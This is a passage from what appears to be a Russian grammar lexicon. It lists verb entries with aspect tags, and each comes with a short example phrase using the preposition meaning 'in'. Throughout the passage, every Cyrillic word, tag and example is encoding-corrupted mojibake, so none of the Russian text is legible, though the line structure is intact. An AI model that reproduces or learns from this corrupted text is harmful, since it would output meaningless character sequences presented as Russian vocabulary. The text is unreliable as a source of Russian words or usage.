ะฒะฐััะฐัั{}, // ั
ะฒะฐััะฐัั ะฒ ะบะฐะทะธะฝะพ
rus_verbs:ะพััะฐะฑะฐััะฒะฐัั{}, // ะพััะฐะฑะฐััะฒะฐัั ะฒ ัะตะฟะปะธัะต
rus_verbs:ัะฐะทะปะตัััั{}, // ัะฐะทะปะตัััั ะฒ ะบัะพะฒะฐัะธ
rus_verbs:ะฟัะพะบัััะธะฒะฐัั{}, // ะฟัะพะบัััะธะฒะฐัั ะฒ ะณะพะปะพะฒะต
rus_verbs:ะพัะตััะธัั{}, // ะพัะตััะธัั ะฒ ะฒะพะทะดัั
ะต
rus_verbs:ัะบะพะฝััะทะธัััั{}, // ัะบะพะฝััะทะธัััั ะฒ ะพะบััะถะตะฝะธะธ ะฝะตะทะฝะฐะบะพะผัั
ะปัะดะตะน
rus_verbs:ะฒััะฒะปััั{}, // ะฒััะฒะปััั ะฒ ะฑะพะตะฒัั
ััะปะพะฒะธัั
rus_verbs:ะบะฐัะฐัะปะธัั{}, // ะบะฐัะฐัะปะธัั ะฒ ะปะธััะต
rus_verbs:ัะฐัััะฐะฒะปััั{}, // ัะฐัััะฐะฒะปััั ะฒ ะฑะพะนะฝะธัะฐั
rus_verbs:ะฟัะพะบัััะธัั{}, // ะฟัะพะบัััะธัั ะฒ ะณะพะปะพะฒะต
rus_verbs:ะฟะตัะตัะบะฐะทัะฒะฐัั{}, // ะฟะตัะตัะบะฐะทัะฒะฐัั ะฒ ะฟะตัะฒะพะน ะณะปะฐะฒะต
rus_verbs:ะทะฐะดะฐะฒะธัั{}, // ะทะฐะดะฐะฒะธัั ะฒ ะทะฐัะพะดััะต
rus_verbs:ั
ะพะทัะนะฝะธัะฐัั{}, // ั
ะพะทัะนะฝะธัะฐัั ะฒ ั
ะพะปะพะดะธะปัะฝะธะบะต
rus_verbs:ั
ะฒะฐะปะธัััั{}, // ั
ะฒะฐะปะธัััั ะฒ ะดะตััะบะพะผ ัะฐะดะธะบะต
rus_verbs:ะพะฟะตัะธัะพะฒะฐัั{}, // ะพะฟะตัะธัะพะฒะฐัั ะฒ ะฟะพะปะตะฒะพะผ ะณะพัะฟะธัะฐะปะต
rus_verbs:ัะพัะผัะปะธัะพะฒะฐัั{}, // ัะพัะผัะปะธัะพะฒะฐัั ะฒ ัะปะตะดัััะตะน ะณะปะฐะฒะต
rus_verbs:ะทะฐััะธะณะฝััั{}, // ะทะฐััะธะณะฝััั ะฒ ะฝะตะฟัะธะณะปัะดะฝะพะผ ะฒะธะดะต
rus_verbs:ะทะฐะผััะปัะบะฐัั{}, // ะทะฐะผััะปัะบะฐัั ะฒ ัะตะฟะปะต
rus_verbs:ะฟะพะดะดะฐะบะธะฒะฐัั{}, // ะฟะพะดะดะฐะบะธะฒะฐัั ะฒ ัะฟะพัะต
rus_verbs:ะฟัะพัะตััะธัั{}, // ะฟัะพัะตััะธัั ะฒ ะฒะพะทะดัั
ะต
rus_verbs:ะพัะผะตะฝััั{}, // ะพัะผะตะฝััั ะฒ ะณะพัะพะดะต ะบะพะผะตะฝะดะฐะฝัะบะธะน ัะฐั
rus_verbs:ะบะพะปะดะพะฒะฐัั{}, // ะบะพะปะดะพะฒะฐัั ะฒ ะปะฐะฑะพัะฐัะพัะธะธ
rus_verbs:ะพัะฒะพะทะธัั{}, // ะพัะฒะพะทะธัั ะฒ ะผะฐัะธะฝะต
rus_verbs:ััะฐั
ะฐัั{}, // ััะฐั
ะฐัั ะฒ ะณะฐะผะฐะบะต
rus_verbs:ะฟะพะฒะพะทะธัััั{}, // ะฟะพะฒะพะทะธัััั ะฒ ะผะตัะบะต
rus_verbs:ัะตะผะพะฝัะธัะพะฒะฐัั{}, // ัะตะผะพะฝัะธัะพะฒะฐัั ะฒ ัะตะฝััะต
rus_verbs:ัะพะฑะตัั{}, // ัะพะฑะตัั ะฒ ะณะพัััั
rus_verbs:ะฟะตัะตะฟัะพะฑะพะฒะฐัั{}, // ะฟะตัะตะฟัะพะฑะพะฒะฐัั ะฒ ะดะตะปะต
ะธะฝัะธะฝะธัะธะฒ:ัะตะฐะปะธะทะพะฒะฐัั{ ะฒะธะด:ัะพะฒะตัั }, ะธะฝัะธะฝะธัะธะฒ:ัะตะฐะปะธะทะพะฒะฐัั{ ะฒะธะด:ะฝะตัะพะฒะตัั }, // ัะตะฐะปะธะทะพะฒะฐัั ะฒ ะฝะพะฒะพะน ะฒะตััะธะธ
ะณะปะฐะณะพะป:ัะตะฐะปะธะทะพะฒะฐัั{ ะฒะธะด:ัะพะฒะตัั }, ะณะปะฐะณะพะป:ัะตะฐะปะธะทะพะฒะฐัั{ ะฒะธะด:ะฝะตัะพะฒะตัั },
rus_verbs:ะฟะพะบะฐััััั{}, // ะฟะพะบะฐััััั ะฒ ัะตัะบะฒะธ
rus_verbs:ะฟะพะฟััะณะฐัั{}, // ะฟะพะฟััะณะฐัั ะฒ ะฑะฐััะตะนะฝะต
rus_verbs:ัะผะฐะปัะธะฒะฐัั{}, // ัะผะฐะปัะธะฒะฐัั ะฒ ัะฒะพะตะผ ะดะพะบะปะฐะดะต
rus_verbs:ะบะพะฒััััััั{}, // ะบะพะฒััััััั ะฒ ััะฐัะพะน ัะตั
ะฝะธะบะต
rus_verbs:ัะฐัะฟะธััะฒะฐัั{}, // ัะฐัะฟะธััะฒะฐัั ะฒ ะดะตัะฐะปัั
rus_verbs:ะฒัะทะฝััั{}, // ะฒัะทะฝััั ะฒ ะฟะตัะบะต
rus_verbs:ะฟะพะณััะทะฝััั{}, // ะฟะพะณััะทะฝััั ะฒ ัะบะฐะฝะดะฐะปะฐั
rus_verbs:ะบะพัะตะฝะธัััั{}, // ะบะพัะตะฝะธัััั ะฒ ะฝะตัะฟะพัะพะฑะฝะพััะธ ะฒัะฟะพะปะฝะธัั ะฟะพััะฐะฒะปะตะฝะฝัั ะทะฐะดะฐัั
rus_verbs:ะทะฐะถะธะผะฐัั{}, // ะทะฐะถะธะผะฐัั ะฒ ัะณะปั
rus_verbs:ััะธัะบะธะฒะฐัั{}, // ััะธัะบะธะฒะฐัั ะฒ ะปะฐะดะพะฝัั
rus_verbs:ะฟัะฐะบัะธะบะพะฒะฐัััั{}, // ะฟัะฐะบัะธะบะพะฒะฐัััั ะฒ ะฟัะธะณะพัะพะฒะปะตะฝะธะธ ัะพััะฐ
rus_verbs:ะธะทัะฐัั
ะพะดะพะฒะฐัั{}, // ะธะทัะฐัั
ะพะดะพะฒะฐัั ะฒ ะฟะพะปะตัะต
rus_verbs:ะบะปะพะบะพัะฐัั{}, // ะบะปะพะบะพัะฐัั ะฒ ะถะตัะปะต
rus_verbs:ะพะฑะฒะธะฝััััั{}, // ะพะฑะฒะธะฝััััั ะฒ ัะฐัััะฐัะต
rus_verbs:ัะตะดะธะฝะธัััั{}, // ัะตะดะธะฝะธัััั ะฒ ะบะปะฐะดะพะฒะบะต
rus_verbs:ะฟะพะดะพั
ะฝััั{}, // ะฟะพะดะพั
ะฝััั ะฒ ะฑะพะปะพัะต
rus_verbs:ะบะธะฟััะธัััั{}, // ะบะธะฟััะธัััั ะฒ ัะฐะนะฝะธะบะต
rus_verbs:ััะพะดะธัััั{}, // ััะพะดะธัััั ะฒ ะปะตัั
rus_verbs:ะฟัะพะดะพะปะถะธัััั{}, // ะฟัะพะดะพะปะถะธัััั ะฒ ะฑะฐัะต
rus_verbs:ัะฐััะธััะพะฒะฐัั{}, // ัะฐััะธััะพะฒะฐัั ะฒ ัะฟะตัะธะฐะปัะฝะพะผ ััััะพะนััะฒะต
rus_verbs:ะฟะพัะฐะฟัะฒะฐัั{}, // ะฟะพัะฐะฟัะฒะฐัั ะฒ ะบัะพะฒะฐัะธ
rus_verbs:ัะบัััะธัััั{}, // ัะบัััะธัััั ะฒ ะผะตัะบะต
rus_verbs:ะปััะพะฒะฐัั{}, // ะปััะพะฒะฐัั ะฒ ะพัะดะฐะปะตะฝะฝัั
ัะตะปะฐั
rus_verbs:ัะฐัะฟะธัะฐัั{}, // ัะฐัะฟะธัะฐัั ะฒ ััะฐััะต
rus_verbs:ะฟัะฑะปะธะบะพะฒะฐัััั{}, // ะฟัะฑะปะธะบะพะฒะฐัััั ะฒ ะฝะฐััะฝะพะผ ะถััะฝะฐะปะต
rus_verbs:ะทะฐัะตะณะธัััะธัะพะฒะฐัั{}, // ะทะฐัะตะณะธัััะธัะพะฒะฐัั ะฒ ะบะพะผะธัะตัะต
rus_verbs:ะฟัะพะถะตัั{}, // ะฟัะพะถะตัั ะฒ ะปะธััะต
rus_verbs:ะฟะตัะตะถะดะฐัั{}, // ะฟะตัะตะถะดะฐัั ะฒ ะพะบะพะฟะต
rus_verbs:ะฟัะฑะปะธะบะพะฒะฐัั{}, // ะฟัะฑะปะธะบะพะฒะฐัั ะฒ ะถััะฝะฐะปะต
rus_verbs:ะผะพััะธัั{}, // ะผะพััะธัั ะฒ ัะณะพะปะบะฐั
ะณะปะฐะท
rus_verbs:ัะฟะธัััั{}, // ัะฟะธัััั ะฒ ะพะดะธะฝะพัะตััะฒะต
rus_verbs:ะธะทะฒะตะดะฐัั{}, // ะธะทะฒะตะดะฐัั ะฒ ะณะฐัะตะผะต
rus_verbs:ะพะฑะผะฐะฝััััั{}, // ะพะฑะผะฐะฝััััั ะฒ ะพะถะธะดะฐะฝะธัั
rus_verbs:ัะพัะตัะฐัั{}, // ัะพัะตัะฐัั ะฒ ัะตะฑะต
rus_verbs:ะฟะพะดัะฐะฑะฐััะฒะฐัั{}, // ะฟะพะดัะฐะฑะฐััะฒะฐัั ะฒ ะผะฐะณะฐะทะธะฝะต
rus_verbs:ัะตะฟะตัะธัะพะฒะฐัั{}, // ัะตะฟะตัะธัะพะฒะฐัั ะฒ ัััะดะธะธ
rus_verbs:ััะฑะธัั{}, // ััะฑะธัั ะฒ ะณะปะฐะทะฐั
rus_verbs:ะฝะฐะผะพัะธัั{}, // ะฝะฐะผะพัะธัั ะฒ ะปัะถะต
rus_verbs:ัะบะฐัะฐัั{}, // ัะบะฐัะฐัั ะฒ ััะบะต
rus_verbs:ะพะดะตะฒะฐัั{}, // ะพะดะตะฒะฐัั ะฒ ะผะฐะณะฐะทะธะฝะต
rus_verbs:ะธัะฟะตัั{}, // ะธัะฟะตัั ะฒ ะดัั
ะพะฒะบะต
rus_verbs:ัะฑัะธัั{}, // ัะฑัะธัั ะฒ ะฟะพะดะผััะบะฐั
rus_verbs:ะทะฐะถัะถะถะฐัั{}, // ะทะฐะถัะถะถะฐัั ะฒ ัั
ะต
rus_verbs:ัะฑะตัะตัั{}, // ัะฑะตัะตัั ะฒ ัะฐะนะฝะพะผ ะผะตััะต
rus_verbs:ัะพะณัะตัััั{}, // ัะพะณัะตัััั ะฒ ั
ะธะถะธะฝะต
ะธะฝัะธะฝะธัะธะฒ:ะดะตะฑััะธัะพะฒะฐัั{ ะฒะธะด:ะฝะตัะพะฒะตัั }, ะธะฝัะธะฝะธัะธะฒ:ะดะตะฑััะธัะพะฒะฐัั{ ะฒะธะด:ัะพะฒะตัั }, // ะดะตะฑััะธัะพะฒะฐัั ะฒ ัะฟะตะบัะฐะบะปะต
ะณะปะฐะณะพะป:ะดะตะฑััะธัะพะฒะฐัั{ ะฒะธะด:ะฝะตัะพะฒะตัั }, ะณะปะฐะณะพะป:ะดะตะฑััะธัะพะฒะฐัั{ ะฒะธะด:ัะพะฒะตัั },
rus_verbs:ะฟะตัะตะฟะปััั{}, // ะฟะตัะตะฟะปััั ะฒ ะปะพะดะพัะบะต
rus_verbs:ะฟะตัะตะดะพั
ะฝััั{}, // ะฟะตัะตะดะพั
ะฝััั ะฒ ัะตะฝะธ
rus_verbs:ะพััะฒะตัะธะฒะฐัั{}, // ะพััะฒะตัะธะฒะฐัั ะฒ ะทะตัะบะฐะปะฐั
rus_verbs:ะฟะตัะตะฟัะฐะฒะปััััั{}, // ะฟะตัะตะฟัะฐะฒะปััััั ะฒ ะปะพะดะบะฐั
rus_verbs:ะฝะฐะบัะฟะธัั{}, // ะฝะฐะบัะฟะธัั ะฒ ะผะฐะณะฐะทะธะฝะต
rus_verbs:ะฟัะพัะพััะฐัั{}, // ะฟัะพัะพััะฐัั ะฒ ะพัะตัะตะดะธ
rus_verbs:ะฟัะพัะบะฐะปัะทัะฒะฐัั{}, // ะฟัะพัะบะฐะปัะทัะฒะฐัั ะฒ ัะพะพะฑัะตะฝะธัั
rus_verbs:ะทะฐัััะบะฐัั{}, // ะทะฐัััะบะฐัั ะฒ ัะพะปััะธะธ
rus_verbs:ะฝะฐะตััั{}, // ะฝะฐะตััั ะฒ ะพัะฟััะบะต
rus_verbs:ะฟะพะดะฒะธะทะฐัััั{}, // ะฟะพะดะฒะธะทะฐัััั ะฒ ะฝะพะฒะพะผ ะดะตะปะต
rus_verbs:ะฒััะธััะธัั{}, // ะฒััะธััะธัั ะฒ ัะฐะดั
rus_verbs:ะบะพัะผะธัััั{}, // ะบะพัะผะธัััั ะฒ ะปะตัั
rus_verbs:ะฟะพะบััะธัั{}, // ะฟะพะบััะธัั ะฒ ัะฐะดั
rus_verbs:ะฟะพะฝะธะทะธัััั{}, // ะฟะพะฝะธะทะธัััั ะฒ ัะฐะฝะณะต
rus_verbs:ะทะธะผะพะฒะฐัั{}, // ะทะธะผะพะฒะฐัั ะฒ ะธะทะฑััะบะต
rus_verbs:ะฟัะพะฒะตัััััั{}, // ะฟัะพะฒะตัััััั ะฒ ัะปัะถะฑะต ะฑะตะทะพะฟะฐัะฝะพััะธ
rus_verbs:ะฟะพะดะฟะธัะฐัั{}, // ะฟะพะดะฟะธัะฐัั ะฒ ะฟะตัะฒะพะผ ะทะฐะฑะพะต
rus_verbs:ะบัะฒััะบะฐัััั{}, // ะบัะฒััะบะฐัััั ะฒ ะฟะพััะตะปะธ
rus_verbs:ะฟะพั
ัะฐะฟัะฒะฐัั{}, // ะฟะพั
ัะฐะฟัะฒะฐัั ะฒ ะฟะพััะตะปะธ
rus_verbs:ะทะฐะฒัะทะฝััั{}, // ะทะฐะฒัะทะฝััั ะฒ ะฟะตัะบะต
rus_verbs:ััะฐะบัะพะฒะฐัั{}, // ััะฐะบัะพะฒะฐัั ะฒ ะธััะปะตะดะพะฒะฐัะตะปััะบะพะน ััะฐััะต
rus_verbs:ะทะฐะผะตะดะปััััั{}, // ะทะฐะผะตะดะปััััั ะฒ ััะถะตะปะพะน ะฒะพะดะต
rus_verbs:ัะฐััะฐัั{}, // ัะฐััะฐัั ะฒ ะทะดะฐะฝะธะธ
rus_verbs:ะทะฐะฝะพัะตะฒะฐัั{}, // ะทะฐะฝะพัะตะฒะฐัั ะฒ ะฟััะธ
rus_verbs:ะฝะฐะผะตัะธัััั{}, // ะฝะฐะผะตัะธัััั ะฒ ะธััะปะตะดะพะฒะฐะฝะธัั
ัะฐะบะฐ
rus_verbs:ะพัะฒะตะถะธัั{}, // ะพัะฒะตะถะธัั ะฒ ะฟะฐะผััะธ
rus_verbs:ะพัะฟะฐัะธะฒะฐัั{}, // ะพัะฟะฐัะธะฒะฐัั ะฒ ััะดะต
rus_verbs:ัะผะตัะฐัััั{}, // ัะผะตัะฐัััั ะฒ ััะตะนะบะต
rus_verbs:ะธัะบัะฟะธัั{}, // ะธัะบัะฟะธัั ะฒ ะฑะพั
rus_verbs:ะพััะธะถะธะฒะฐัััั{}, // ะพััะธะถะธะฒะฐัััั ะฒ ััะปั
rus_verbs:ะผัะฐัั{}, // ะผัะฐัั ะฒ ะบะฐะฑัะธะพะปะตัะต
rus_verbs:ะพะฑะปะธัะฐัั{}, // ะพะฑะปะธัะฐัั ะฒ ัะฒะพะตะผ ะฒััััะฟะปะตะฝะธะธ
rus_verbs:ัะณะฝะธัั{}, // ัะณะฝะธัั ะฒ ััััะณะต
rus_verbs:ะพะฟัะพะฑะพะฒะฐัั{}, // ะพะฟัะพะฑะพะฒะฐัั ะฒ ะดะตะปะต
rus_verbs:ััะตะฝะธัะพะฒะฐัั{}, // ััะตะฝะธัะพะฒะฐัั ะฒ ะทะฐะปะต
rus_verbs:ะฟัะพัะปะฐะฒะธัั{}, // ะฟัะพัะปะฐะฒะธัั ะฒ ะฐะบะฐะดะตะผะธะธ
rus_verbs:ััะธััะฒะฐัััั{}, // ััะธััะฒะฐัััั ะฒ ะดะธะฟะปะพะผะฝะพะน ัะฐะฑะพัะต
rus_verbs:ะฟะพะฒะตัะตะปะธัััั{}, // ะฟะพะฒะตัะตะปะธัััั ะฒ ะปะฐะณะตัะต
rus_verbs:ะฟะพัะผะฝะตัั{}, // ะฟะพัะผะฝะตัั ะฒ ะบะฐััะตัะต
rus_verbs:ะฟะตัะตัััะตะปััั{}, // ะฟะตัะตัััะตะปััั ะฒ ะฒะพะทะดัั
ะต
rus_verbs:ะฟัะพะฒะตะดะฐัั{}, // ะฟัะพะฒะตะดะฐัั ะฒ ะฑะพะปัะฝะธัะต
rus_verbs:ะธะทะผััะธัััั{}, // ะธะทะผััะธัััั ะฒ ะดะตัะตะฒะฝะต
rus_verbs:ะฟัะพััะฟะฐัั{}, // ะฟัะพััะฟะฐัั ะฒ ะณะปัะฑะธะฝะต
rus_verbs:ะธะทะณะพัะพะฒะปััั{}, // ะธะทะณะพัะพะฒะปััั ะฒ ัะฐัะฐะต
rus_verbs:ัะฒะธัะตะฟััะฒะพะฒะฐัั{}, // ัะฒะธัะตะฟััะฒะพะฒะฐัั ะฒ ะฟะพะฟัะปััะธะธ
rus_verbs:ะธัััะบะฐัั{}, // ะธัััะบะฐัั ะฒ ะธััะพัะฝะธะบะต
rus_verbs:ะณะฝะตะทะดะธัััั{}, // ะณะฝะตะทะดะธัััั ะฒ ะดัะฟะปะต
rus_verbs:ัะฐะทะพะณะฝะฐัััั{}, // ัะฐะทะพะณะฝะฐัััั ะฒ ัะฟะพััะธะฒะฝะพะน ะผะฐัะธะฝะต
rus_verbs:ะพะฟะพะทะฝะฐะฒะฐัั{}, // ะพะฟะพะทะฝะฐะฒะฐัั ะฒ ะฝะตะธะทะฒะตััะฝะพะผ
rus_verbs:ะทะฐัะฒะธะดะตัะตะปัััะฒะพะฒะฐัั{}, // ะทะฐัะฒะธะดะตัะตะปัััะฒะพะฒะฐัั ะฒ ััะดะต
rus_verbs:ัะบะพะฝัะตะฝััะธัะพะฒะฐัั{}, // ัะบะพะฝัะตะฝััะธัะพะฒะฐัั ะฒ ัะฒะพะธั
ััะบะฐั
rus_verbs:ัะตะดะฐะบัะธัะพะฒะฐัั{}, // ัะตะดะฐะบัะธัะพะฒะฐัั ะฒ ัะตะดะฐะบัะพัะต
rus_verbs:ะฟะพะบัะฟะฐัััั{}, // ะฟะพะบัะฟะฐัััั ะฒ ะผะฐะณะฐะทะธะฝะต
rus_verbs:ะฟัะพะผััะปััั{}, // ะฟัะพะผััะปััั ะฒ ัะพัะต
rus_verbs:ัะฐัััะณะธะฒะฐัััั{}, // ัะฐัััะณะธะฒะฐัััั ะฒ ะบะพัะธะดะพัะต
rus_verbs:ะฟัะธะพะฑัะตัะฐัััั{}, // ะฟัะธะพะฑัะตัะฐัััั ะฒ ะฐะฝัะธะบะฒะฐัะฝัั
ะปะฐะฒะบะฐั
ะธะฝัะธะฝะธัะธะฒ:ะฟะพะดัะตะทะฐัั{ ะฒะธะด:ะฝะตัะพะฒะตัั }, ะธะฝัะธะฝะธัะธะฒ:ะฟะพะดัะตะทะฐัั{ ะฒะธะด:ัะพะฒะตัั }, // ะฟะพะดัะตะทะฐัั ะฒ ะฒะพะดะต
ะณะปะฐะณะพะป:ะฟะพะดัะตะทะฐัั{ ะฒะธะด:ะฝะตัะพะฒะตัั }, ะณะปะฐะณะพะป:ะฟะพะดัะตะทะฐัั{ ะฒะธะด:ัะพะฒะตัั },
rus_verbs:ะทะฐะฟะตัะฐัะปะตัััั{}, // ะทะฐะฟะตัะฐัะปะตัััั ะฒ ะผะพะทะณั
rus_verbs:ัะบััะฒะฐัั{}, // ัะบััะฒะฐัั ะฒ ะฟะพะดะฒะฐะปะต
rus_verbs:ะทะฐะบัะตะฟะธัััั{}, // ะทะฐะบัะตะฟะธัััั ะฒ ะฟะตัะฒะพะน ะฑะฐัะฝะต
rus_verbs:ะพัะฒะตะถะฐัั{}, // ะพัะฒะตะถะฐัั ะฒ ะฟะฐะผััะธ
rus_verbs:ะณัะพะผัั
ะฐัั{}, // ะณัะพะผัั
ะฐัั ะฒ ะฒะฐะฝะฝะพะน
ะธะฝัะธะฝะธัะธะฒ:ะฟะพะดะฒะธะณะฐัััั{ ะฒะธะด:ัะพะฒะตัั }, ะธะฝัะธะฝะธัะธะฒ:ะฟะพะดะฒะธะณะฐัััั{ ะฒะธะด:ะฝะตัะพะฒะตัั }, // ะฟะพะดะฒะธะณะฐัััั ะฒ ะบัะพะฒะฐัะธ
ะณะปะฐะณะพะป:ะฟะพะดะฒะธะณะฐัััั{ ะฒะธะด:ัะพะฒะตัั }, ะณะปะฐะณะพะป:ะฟะพะดะฒะธะณะฐัััั{ ะฒะธะด:ะฝะตัะพะฒะตัั },
rus_verbs:ะดะพะฑัะฒะฐัััั{}, // ะดะพะฑัะฒะฐัััั ะฒ ัะฐั
ัะฐั
rus_verbs:ัะฐััะฒะพัะธัั{}, // ัะฐััะฒะพัะธัั ะฒ ะบะธัะปะพัะต
rus_verbs:ะฟัะธะฟะปัััะฒะฐัั{}, // ะฟัะธะฟะปัััะฒะฐัั ะฒ ะณัะธะผะตัะบะต
rus_verbs:ะดะพะถะธะฒะฐัั{}, // ะดะพะถะธะฒะฐัั ะฒ ะดะพะผะต ะฟัะตััะฐัะตะปัั
rus_verbs:ะพัะฟัะฐะทะดะฝะพะฒะฐัั{}, // ะพัะฟัะฐะทะดะฝะพะฒะฐัั ะฒ ัะตััะพัะฐะฝะต
rus_verbs:ัะพััััะฐัััั{}, // ัะพััััะฐัััั ะฒ ะบะพะฝะฒัะปััะธัั
rus_verbs:ะฟะพะผััั{}, // ะฟะพะผััั ะฒ ะฟัะพัะพัะฝะพะน ะฒะพะดะต
ะธะฝัะธะฝะธัะธะฒ:ัะฒัะทะฐัั{ ะฒะธะด:ะฝะตัะพะฒะตัั }, ะธะฝัะธะฝะธัะธะฒ:ัะฒัะทะฐัั{ ะฒะธะด:ัะพะฒะตัั }, // ัะฒัะทะฐัั ะฒ ะฟะตัะบะต
ะณะปะฐะณะพะป:ัะฒัะทะฐัั{ ะฒะธะด:ะฝะตัะพะฒะตัั }, ะณะปะฐะณะพะป:ัะฒัะทะฐัั{ ะฒะธะด:ัะพะฒะตัั },
ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ัะฒัะทะฐะฒัะธะน{ ะฒะธะด:ะฝะตัะพะฒะตัั },
rus_verbs:ะฝะฐะปะธัะตััะฒะพะฒะฐัั{}, // ะฝะฐะปะธัะตััะฒะพะฒะฐัั ะฒ ะทะฐะฟะฐัะฝะธะบะต
rus_verbs:ะฝะฐััะฟัะฒะฐัั{}, // ะฝะฐััะฟัะฒะฐัั ะฒ ะบะฐัะผะฐะฝะต
rus_verbs:ะฟะพะฒะตััะฒะพะฒะฐัััั{}, // ะฟะพะฒะตััะฒะพะฒะฐัััั ะฒ ัะฐััะบะฐะทะต
rus_verbs:ะพััะตะผะพะฝัะธัะพะฒะฐัั{}, // ะพััะตะผะพะฝัะธัะพะฒะฐัั ะฒ ัะตั
ัะตะฝััะต
rus_verbs:ะฟะพะบะฐะปัะฒะฐัั{}, // ะฟะพะบะฐะปัะฒะฐัั ะฒ ะฟัะฐะฒะพะผ ะฑะพะบั
rus_verbs:ัะธะถะธะฒะฐัั{}, // ัะธะถะธะฒะฐัั ะฒ ัะฐะดั
rus_verbs:ัะฐะทัะฐะฑะฐััะฒะฐัััั{}, // ัะฐะทัะฐะฑะฐััะฒะฐัััั ะฒ ัะตะบัะตัะฝัั
ะปะฐะฑะพัะฐัะพัะธัั
rus_verbs:ัะบัะตะฟะปััััั{}, // ัะบัะตะฟะปััััั ะฒ ะผะฝะตะฝะธะธ
rus_verbs:ัะฐะทะฝะธัััั{}, // ัะฐะทะฝะธัััั ะฒะพ ะฒะทะณะปัะดะฐั
rus_verbs:ัะฟะพะปะพัะฝััั{}, // ัะฟะพะปะพัะฝััั ะฒ ะฒะพะดะธัะบะต
rus_verbs:ัะบัะฟะฐัั{}, // ัะบัะฟะฐัั ะฒ ะผะฐะณะฐะทะธะฝะต
rus_verbs:ะฟะพัะตััะฒะฐัั{}, // ะฟะพัะตััะฒะฐัั ะฒ ะฟะฐั
ั
rus_verbs:ะพัะพัะผะปััั{}, // ะพัะพัะผะปััั ะฒ ะบะพะฝัะพัะต
rus_verbs:ัะฐัะฟััะบะฐัััั{}, // ัะฐัะฟััะบะฐัััั ะฒ ัะฐะดะฐั
rus_verbs:ะทะฐััะฑะธัั{}, // ะทะฐััะฑะธัั ะฒ ะณะปะฐะทะฐั
rus_verbs:ะทะฐะณะพัะตัั{}, // ะทะฐะณะพัะตัั ะฒ ะัะฟะฐะฝะธะธ
rus_verbs:ะพัะธัะฐัััั{}, // ะพัะธัะฐัััั ะฒ ะฑะฐะบะต
rus_verbs:ะพัััะดะธัั{}, // ะพัััะดะธัั ะฒ ั
ะพะปะพะดะฝะพะน ะฒะพะดะต
rus_verbs:ัะฐะทะฑะพะผะฑะธัั{}, // ัะฐะทะฑะพะผะฑะธัั ะฒ ะณะพัะฐั
rus_verbs:ะธะทะดะพั
ะฝััั{}, // ะธะทะดะพั
ะฝััั ะฒ ะฑะตะดะฝะพััะธ
rus_verbs:ะฟัะพะตั
ะฐัััั{}, // ะฟัะพะตั
ะฐัััั ะฒ ะฝะพะฒะพะน ะผะฐัะธะฝะต
rus_verbs:ะทะฐะดะตะนััะฒะพะฒะฐัั{}, // ะทะฐะดะตะนััะฒะพะฒะฐัั ะฒ ะฐะฝะฐะปะธะทะต
rus_verbs:ะฟัะพะธะทัะฐััะฐัั{}, // ะฟัะพะธะทัะฐััะฐัั ะฒ ััะตะฟะธ
rus_verbs:ัะฐะทััััั{}, // ัะฐะทััััั ะฒ ะฟัะธั
ะพะถะตะน
rus_verbs:ัะพะพััะถะฐัั{}, // ัะพะพััะถะฐัั ะฒ ะพะณะพัะพะดะต
rus_verbs:ะทะฐัะธััะฒะฐัั{}, // ะทะฐัะธััะฒะฐัั ะฒ ััะดะต
rus_verbs:ัะพัััะทะฐัััั{}, // ัะพัััะทะฐัััั ะฒ ะพัััะพัะผะธะธ
rus_verbs:ะพะฟะพะปะพัะฝััั{}, // ะพะฟะพะปะพัะฝััั ะฒ ะผะพะปะพะบะต
rus_verbs:ัะผะตััะธัััั{}, // ัะผะตััะธัััั ะฒ ะบะฐัะผะฐะฝะต
rus_verbs:ัะพะฒะตััะตะฝััะฒะพะฒะฐัััั{}, // ัะพะฒะตััะตะฝััะฒะพะฒะฐัััั ะฒ ัะฟัะฐะฒะปะตะฝะธะธ ะผะพัะพัะธะบะปะพะผ
rus_verbs:ััะธัะฐัััั{}, // ััะธัะฐัััั ะฒ ััะธัะฐะปัะฝะพะน ะผะฐัะธะฝะต
rus_verbs:ะธัะบัะฟะฐัััั{}, // ะธัะบัะฟะฐัััั ะฒ ะฟัะพั
ะปะฐะดะฝะพะน ัะตะบะต
rus_verbs:ะบััะธัะพะฒะฐัั{}, // ะบััะธัะพะฒะฐัั ะฒ ะฟัะฐะฒะธัะตะปัััะฒะต
rus_verbs:ะทะฐะบัะฟะธัั{}, // ะทะฐะบัะฟะธัั ะฒ ะผะฐะณะฐะทะธะฝะต
rus_verbs:ะฟะปะพะดะธัััั{}, // ะฟะปะพะดะธัััั ะฒ ะฟะพะดั
ะพะดััะธั
ััะปะพะฒะธัั
rus_verbs:ะณะพัะปะฐะฝะธัั{}, // ะณะพัะปะฐะฝะธัั ะฒ ะฟะฐัะบะต
rus_verbs:ะฟะตััะธัั{}, // ะฟะตััะธัั ะฒ ะณะพัะปะต
rus_verbs:ะฟัะธะณัะตะทะธัััั{}, // ะฟัะธะณัะตะทะธัััั ะฒะพ ัะฝะต
rus_verbs:ะธัะฟัะฐะฒะปััั{}, // ะธัะฟัะฐะฒะปััั ะฒ ัะตััะฐะดะบะต
rus_verbs:ัะฐััะปะฐะฑะปััััั{}, // ัะฐััะปะฐะฑะปััััั ะฒ ะณะฐะผะฐะบะต
rus_verbs:ัะบะฐะฟะปะธะฒะฐัััั{}, // ัะบะฐะฟะปะธะฒะฐัััั ะฒ ะฝะธะถะฝะตะน ัะฐััะธ
rus_verbs:ัะฟะปะตัะฝะธัะฐัั{}, // ัะฟะปะตัะฝะธัะฐัั ะฒ ะบะพะผะฝะฐัะต
rus_verbs:ัะฐะทะดะตะฒะฐัั{}, // ัะฐะทะดะตะฒะฐัั ะฒ ะบะฐะฑะธะฝะบะต
rus_verbs:ะพะบะพะฟะฐัััั{}, // ะพะบะพะฟะฐัััั ะฒ ะปะตัั
rus_verbs:ะทะฐะณะพัะฐัั{}, // ะทะฐะณะพัะฐัั ะฒ ะัะฟะฐะฝะธะธ
rus_verbs:ะฟะพะดะฟะตะฒะฐัั{}, // ะฟะพะดะฟะตะฒะฐัั ะฒ ัะตัะบะพะฒะฝะพะผ ั
ะพัะต
rus_verbs:ะฟัะพะถัะถะถะฐัั{}, // ะฟัะพะถัะถะถะฐัั ะฒ ะดะธะฝะฐะผะธะบะต
rus_verbs:ะธะทััะฐัััั{}, // ะธะทััะฐัััั ะฒ ะดะธะบะพะน ะฟัะธัะพะดะต
rus_verbs:ะทะฐะบะปัะฑะธัััั{}, // ะทะฐะบะปัะฑะธัััั ะฒ ะฒะพะทะดัั
ะต
rus_verbs:ะฟะพะดะผะตัะฐัั{}, // ะฟะพะดะผะตัะฐัั ะฒ ะทะฐะปะต
